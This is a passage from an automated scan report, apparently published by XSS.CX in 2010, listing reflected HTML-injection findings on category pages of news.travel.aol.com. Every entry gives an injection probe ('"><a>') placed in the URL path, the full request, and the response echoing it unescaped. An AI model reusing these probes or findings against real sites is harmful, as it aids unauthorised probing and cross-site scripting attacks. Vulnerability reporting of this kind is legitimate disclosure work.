GET /category/cruisebdb80"><a>a4a295e79af/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:01 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=1000000 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47608
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/cruisebdb80"><a>a4a295e79af/" /> ...[SNIP]...
|
1.41. http://news.travel.aol.com/category/disney/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/disney/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 205db"><a>f461415b239 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/disney205db"><a>f461415b239/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:55:56 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999827 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47609
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/disney205db"><a>f461415b239/" /> ...[SNIP]...
|
1.42. http://news.travel.aol.com/category/family/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/family/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42321"><a>d7fc1243b1c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/family42321"><a>d7fc1243b1c/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:03 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999990 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47608
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/family42321"><a>d7fc1243b1c/" /> ...[SNIP]...
|
1.43. http://news.travel.aol.com/category/hotel/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/hotel/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ff71"><a>fab26e8d884 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/hotel3ff71"><a>fab26e8d884/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:28 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999987 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47603
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/hotel3ff71"><a>fab26e8d884/" /> ...[SNIP]...
|
1.44. http://news.travel.aol.com/category/news/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/news/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adc68"><a>231bd3d6d90 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/newsadc68"><a>231bd3d6d90/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:08 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999973 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47598
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/newsadc68"><a>231bd3d6d90/" /> ...[SNIP]...
|
1.45. http://news.travel.aol.com/category/outdoor/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/outdoor/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89a7d"><a>858086e211b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/outdoor89a7d"><a>858086e211b/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:55:59 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999997 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47614
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/outdoor89a7d"><a>858086e211b/" /> ...[SNIP]...
|
1.46. http://news.travel.aol.com/category/real-life-stories/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/real-life-stories/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98a28"><a>b8a56485f0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/real-life-stories98a28"><a>b8a56485f0/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:05 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999998 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47659
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/real-life-stories98a28"><a>b8a56485f0/" /> ...[SNIP]...
|
1.47. http://news.travel.aol.com/category/romantic/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/romantic/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6267e"><a>7c9daee3da2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/romantic6267e"><a>7c9daee3da2/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:09 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999993 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47618
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/romantic6267e"><a>7c9daee3da2/" /> ...[SNIP]...
|
1.48. http://news.travel.aol.com/category/tips-and-tricks/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/tips-and-tricks/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa87d"><a>f9594677ed6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/tips-and-tricksfa87d"><a>f9594677ed6/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:58 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999936 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47653
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/tips-and-tricksfa87d"><a>f9594677ed6/" /> ...[SNIP]...
|
1.49. http://news.travel.aol.com/category/video/ [REST URL parameter 2]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/video/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f48b9"><a>89cc5f755b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/videof48b9"><a>89cc5f755b/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:57 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999993 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47599
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/videof48b9"><a>89cc5f755b/" /> ...[SNIP]...
|
1.50. http://news.travel.aol.com/category/weird/ [REST URL parameter 2]
previous
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
http://news.travel.aol.com |
Path: |
/category/weird/ |
Issue detail
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c8b0"><a>b9d1b9c55e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /category/weird3c8b0"><a>b9d1b9c55e4/ HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:57:06 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Keep-Alive: timeout=5, max=999960 Connection: Keep-Alive Content-Type: text/html X-Pad: avoid browser bug Content-Length: 47604
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <link rel="canonical" href="http://news.travel.aol.com/category/weird3c8b0"><a>b9d1b9c55e4/" /> ...[SNIP]...
|
Report generated by XSS.CX at Fri Nov 19 17:36:47 CST 2010.